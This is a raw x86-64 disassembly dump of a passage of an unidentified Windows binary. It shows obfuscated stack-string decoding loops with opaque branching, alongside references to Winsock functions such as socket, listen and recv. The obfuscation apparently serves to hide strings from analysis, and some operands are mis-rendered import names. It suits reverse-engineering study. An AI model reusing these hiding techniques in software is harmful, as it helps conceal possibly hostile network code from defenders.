add dil, 0x69
jmp 0x140087615
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140087345
lea ecx, [r10 - 1]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 7
jmp 0x140087618
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140086fd9
movzx r11d, r10b
lea ecx, [r11 + 0xd]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5b
jmp 0x1400874b5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400873ab
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
movzx eax, byte [rbp + r10 + 0x5e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140086bc5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400873d3
lea ecx, [r10 + 0x76]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
jmp 0x140087618
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140087403
movzx r11d, r10b
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400875f3
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140087431
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
dec r10
inc r10
jmp 0x140086bc5
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14008700a
movzx edx, r10b
lea ecx, [rdx - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
jmp 0x14008758f
mov byte [rbp + r10 + 0x5e0], dil
inc r10
jmp 0x140086bc5
movzx r11d, r10b
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x5e0]
sub cl, al
add cl, 0xc
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400875f3
movzx r11d, r10b
lea ecx, [r11 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x5e0]
lea edi, [r9 + rcx]
sub dil, 0x4a
sub r11b, 0x13
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x7b
add r11b, r9b
movzx eax, r11b
mov byte [rbp + r10 + 0x5e0], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x5e0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x5e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140086bc5
lea ecx, [r10 + 0x11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x77
movzx eax, byte [rbp + r10 + 0x5e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140086bc5
lea ecx, [r10 - 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2b
dec r10
inc r10
jmp 0x140086bc5
movzx edx, r10b
lea ecx, [rdx - 0x5f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x67
sub dl, 0x2f
movzx eax, dl
and al, r9b
add al, al
sub dl, al
add dl, 0x49
add dl, r9b
mov byte [rbp + r10 + 0x5e0], dl
inc r8
dec r10
inc r10
jmp 0x140086bc5
lea ecx, [r10 + 0x69]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x21
dec r10
inc r10
jmp 0x140086bc5
movzx r11d, r10b
lea ecx, [r11 + 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7d
sub r11b, 0x21
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x19
add r11b, dil
add r11b, r9b
mov byte [rbp + r10 + 0x5e0], r11b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140086bc5
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x6d
movzx eax, byte [rbp + r10 + 0x5e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140086bc5
sub r10b, 0x5d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x75
jmp 0x140086bc2
sub r10b, 0x6b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x13
jmp 0x140086bb2
lea rcx, [rbp + 0x157d694]
jmp 0x1400876b5
lea rcx, [rbp + 0x4d2f9b]
jmp 0x1400876b5
lea rcx, [rbp + 0x5e0]
lea rdx, [0x1401de72f]
call fcn.1400393c0
mov byte [rbp + 0x1c0], 0x4d
mov byte [rbp + 0x1c1], 0x77
mov byte [rbp + 0x1c2], WSAGetLastError
mov byte [rbp + 0x1c3], WSAStartup
mov byte [rbp + 0x1c4], 0x76
mov byte [rbp + 0x1c5], WSAGetLastError
mov byte [rbp + 0x1c6], 0x20
mov byte [rbp + 0x1c7], 0x5f
mov byte [rbp + 0x1c8], 0x7a
mov byte [rbp + 0x1c9], 0x62
mov byte [rbp + 0x1ca], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x1cb], 0x61
mov byte [rbp + 0x1cc], 0x7b
mov byte [rbp + 0x1cd], 0x77
mov byte [rbp + 0x1ce], 0x7b
mov byte [rbp + 0x1cf], reloc.WS2_32.dll_socket
xor eax, eax
mov dword [rbp + 0x1d0], eax
mov word [rbp + 0x1d4], ax
movabs rsi, 0x945ff45d3b12f681
movabs r14, 0x375f974713aaaa89
movabs r12, 0xe9fae8c9d84bd87
movabs r15, 0xbd1fdd17b138e383
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x16
jae 0x1400883f8
movzx r9d, byte [rbp + r10 + 0x1c0]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x1400883ec
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400877d3
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x79
jmp 0x140087820
je 0x14008837b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400882ef
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400882c2
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400882a3
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008825b
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140088210
nop word [rax + rax]
cmp r8, r10
ja 0x1400883e0
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x140087851
lea ecx, [r10 - 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x13
jmp 0x140087880
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400881f0
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400881cb
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400881af
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140087dfd
nop dword [rax]
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140087ddd
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140087db8
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140087d96
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140087d76
lea rcx, [r8 + 0x3e8]
cmp rbx, rcx
je 0x140087d57
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140087d3b
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140087d1c
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140087cfd
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140087ccf
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140087890
mov rbx, rcx
lea r8, [rcx + 0x10]
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x1400883c3
lea rax, [r8 + 4]
cmp rcx, rax
jb 0x1400883a6
lea rax, [r8 + 0x7a]
cmp rcx, rax
jb 0x140087a77
lea rax, [r8 + 0x64]
cmp rcx, rax
jb 0x140087a58
lea rcx, [r8 + 9]
cmp rbx, rcx
jb 0x140087a39
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140087c7e
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140087c31
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140087bed
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140087bc6
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140087890
mov rbx, rcx
lea r8, [rcx + 0x2a]
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x140087b98
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x140087b79
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x140087b5a
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x140087b3e
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x140087b1f
lea rax, [r8 + 0x2a]
cmp rcx, rax
ja 0x140087aff
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x140087add
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x140087ab5
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x140087a95
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x140087890
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x5a]
jmp 0x140087890
lea edx, [r10 + 0xb]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4d
add dil, dl
jmp 0x140087880
lea edx, [r10 + 9]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3f
add dil, dl
jmp 0x140087820
lea edx, [r10 + 7]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dl, 0x31
add dil, dl
jmp 0x140087796
lea edx, [r10 - 0x58]
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x14008822b
lea edx, [r10 - 0x5a]
movzx eax, r9b
and al, dl
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140087783
lea ecx, [r10 - 0x5c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7c
dec r10
inc r10
jmp 0x140087783
lea edx, [r10 - 0x5e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6e
movzx r11d, r10b
jmp 0x140088276
lea ecx, [r10 - 0x60]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x60
add rbx, r8
jmp 0x1400882d6
lea ecx, [r10 - 0x62]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x52
jmp 0x1400882d6
lea edx, [r10 - 0x64]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x44
add dil, dl
jmp 0x140088309
lea edx, [r10 - 0x66]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x36
add dil, dl
jmp 0x140088334
lea ecx, [r10 - 0x68]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x28
movzx eax, byte [rbp + r10 + 0x1c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140087783
lea ecx, [r10 + 0x13]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x7b
mov byte [rbp + r10 + 0x1c0], dil
inc r10
jmp 0x140087783
lea edx, [r10 + 0x11]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x77
add dil, dl
cmp r8, 0x64
jb 0x140087bdd
movzx r11d, r10b
lea edx, [r11 + 0x66]
movzx eax, r9b
and al, dl
mov ecx, 0x1b
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14008822e
lea edx, [r10 + 0xf]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x69
add dil, dl
cmp rbx, 0x2a
jae 0x14008816f
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x140088056
lea edx, [r10 + 0x52]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3e
jmp 0x140087c04
lea edx, [r10 + 0xd]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x10
je 0x140088193
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x140087f42
lea edx, [r10 - 0x43]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2b
jmp 0x140087c48
lea ecx, [r10 + 0x7e]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x72
movzx eax, byte [rbp + r10 + 0x1c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140087783
lea edx, [r10 + 0x7c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x64
add dil, dl
jmp 0x140088334
lea edx, [r10 + 0x7a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x56
add dil, dl
jmp 0x140088309
lea ecx, [r10 + 0x78]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x48
jmp 0x1400882d6
lea ecx, [r10 + 0x76]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3a
add rbx, r8
jmp 0x1400882d6
movzx r11d, r10b
lea edx, [r11 + 0x74]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2c
jmp 0x140088276
lea ecx, [r10 + 0x72]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1e
dec r10
inc r10
jmp 0x140087783
lea ecx, [r10 + 0x70]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x10
inc r8
dec r10
inc r10
jmp 0x140087783
movzx r11d, r10b
lea edx, [r11 + 0x6e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 2
jmp 0x14008822b
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x140087e26
lea edx, [r10 - 0x7f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x79
jmp 0x140087c95
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140087e61
lea ecx, [r10 + 0x2a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x26
movzx eax, byte [rbp + r10 + 0x1c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140087783
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140087e8d
lea edx, [r10 + 0x2c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x34
add dil, dl
jmp 0x140088334
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140087eb9
lea ecx, [r10 + 0x32]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5e
add rbx, r8
jmp 0x1400882d6
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140087ee6
movzx r11d, r10b
lea edx, [r11 + 0x34]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6c
jmp 0x140088276
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140087f15
lea ecx, [r10 + 0x36]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7a
dec r10
inc r10
jmp 0x140087783
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140087c98
movzx r11d, r10b
lea edx, [r11 + 0x3a]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14008822b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140087f6f
movzx r11d, r10b
lea edx, [r11 - 0x41]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x39
jmp 0x14008822b
cmp rbx, rcx
jne 0x140087f9a
lea ecx, [r10 - 0x3d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x55
dec r10
inc r10
jmp 0x140087783
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140087fc3
lea ecx, [r10 - 0x37]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7f
jmp 0x1400882d6
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140087fef
lea edx, [r10 - 0x35]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x73
add dil, dl
jmp 0x140088309
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008801b
lea edx, [r10 - 0x33]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x65
add dil, dl
jmp 0x140088334
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140087c4b
lea ecx, [r10 - 0x31]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x57
movzx eax, byte [rbp + r10 + 0x1c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140087783
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140088091
lea ecx, [r10 + 0x54]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4c
movzx eax, byte [rbp + r10 + 0x1c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140087783
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400880bd
lea edx, [r10 + 0x58]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x140088309
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400880e6
lea ecx, [r10 + 0x5a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x76
jmp 0x1400882d6
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140088115
lea edx, [r10 + 0x5c]
movzx eax, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add rbx, r8
jmp 0x1400882d6
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140088142
movzx r11d, r10b
lea edx, [r11 + 0x5e]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140088276
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140087c07
movzx r11d, r10b
lea edx, [r11 + 0x64]
movzx eax, r9b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14008822b
movzx r11d, r10b
lea edx, [r11 + 0x68]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x1c0]
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
jmp 0x140088276
lea edx, [r10 + 0x6a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140088309
lea ecx, [r10 - 0x5f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x67
jmp 0x1400882d6
lea ecx, [r10 - 0x67]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x2f
inc r8
dec r10
inc r10
jmp 0x140087783
movzx r11d, r10b
lea edx, [r11 - 0x69]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x21
jmp 0x14008822b
movzx r11d, r10b
lea edx, [r11 - 0x6d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 5
add dil, dl
sub r11b, 0x19
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x51
add r9b, r11b
mov byte [rbp + r10 + 0x1c0], r9b
inc r8
dec r10
inc r10
jmp 0x140087783
movzx r11d, r10b
lea edx, [r11 - 0x73]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x25
add dil, dl
sub r11b, 0x17
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x5f
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x1c0], r9b
add rbx, r8
jmp 0x1400882d6
lea ecx, [r10 - 0x75]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x33
add rbx, r8
jmp 0x1400882d6
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x41
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140087783
lea rcx, [r10 + r12]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
add dil, 0x4f
add dil, cl
lea edx, [r10 - 0x15]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x6d
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x1c0], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x6c]
movzx eax, r9b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x1c0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x1c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140087783
lea rcx, [r10 + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x6b
movzx eax, byte [rbp + r10 + 0x1c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140087783
add r10b, 5
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x23
jmp 0x140087780
add r10b, 3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x15
jmp 0x140087770
lea rcx, [rbp + 0x17da06c]
jmp 0x1400883ff
lea rcx, [rbp + 0x15096ed]
jmp 0x1400883ff
lea rcx, [rbp + 0x1c0]
lea rdx, [0x1401de731]
call fcn.1400393c0
mov byte [rbp + 0x260], 0x25
mov byte [rbp + 0x261], 0xcf
mov byte [rbp + 0x262], 0xc3
mov byte [rbp + 0x263], 0xc1
mov byte [rbp + 0x264], 0xc8
mov byte [rbp + 0x265], 0xc0
mov byte [rbp + 0x266], 6
mov byte [rbp + 0x267], 0x23
mov byte [rbp + 0x268], 0xc1
mov byte [rbp + 0x269], 0xfa
mov byte [rbp + 0x26a], 0xfe
mov byte [rbp + 0x26b], 0xca
mov byte [rbp + 0x26c], 0xc2
mov byte [rbp + 0x26d], 0xce
mov byte [rbp + 0x26e], 0xcb
mov byte [rbp + 0x26f], reloc.WS2_32.dll_WSAGetLastError
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
movabs r14, 0x9762925e85446fd0
movabs r12, 0x23b20095a4df0eb0
movabs r15, 0xc627b71b8fcd4f70
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop dword [rax + rax]
xor r10d, r10d
cmp r10, 0x20
jae 0x140088ec5
movzx r9d, byte [rbp + r10 + 0x260]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140088eb9
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140088513
lea rcx, [r10 + r14]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
add dil, 0x50
jmp 0x140088533
je 0x140088e46
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140088db9
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140088d98
cmp r8, r10
ja 0x140088ead
lea rax, [r8 + 5]
cmp rbx, rax
jae 0x140088564
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x1400885a0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140088d4a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140088d26
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140088d01
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140088cd0
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008895c
nop dword [rax]
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14008894a
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14008892c
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14008890b
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400888ec
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400888d1
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400888a0
mov rbx, rax
lea r8, [rax + 0x20]
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140088e90
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140088e73
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400886ec
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400886cd
lea rcx, [r8 + 0x5a]
cmp rbx, rcx
jb 0x14008884c
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400887da
mov rbx, rcx
lea r8, [rcx + 0x3e8]
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x1400887aa
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x14008878b
lea rax, [r8 + 0x64]
cmp rcx, rax
ja 0x140088770
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x140088751
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x14008872d
lea rcx, [r8 + 6]
cmp rbx, rcx
ja 0x14008870b
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x1400885b0
mov rbx, rcx
lea r8, [rcx + 0xa]
jmp 0x1400885b0
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400885a0
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400884d6
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
movzx r11d, r10b
jmp 0x140088d68
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
inc r8
dec r10
inc r10
jmp 0x1400884c3
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088c9b
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140088dd7
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088e03
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x1400884c3
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
cmp rbx, 0x400
jae 0x140088c4b
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x140088b55
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
cmp r8, 1
jb 0x140088c3b
movzx r11d, r10b
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x40]
jmp 0x140088d68
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
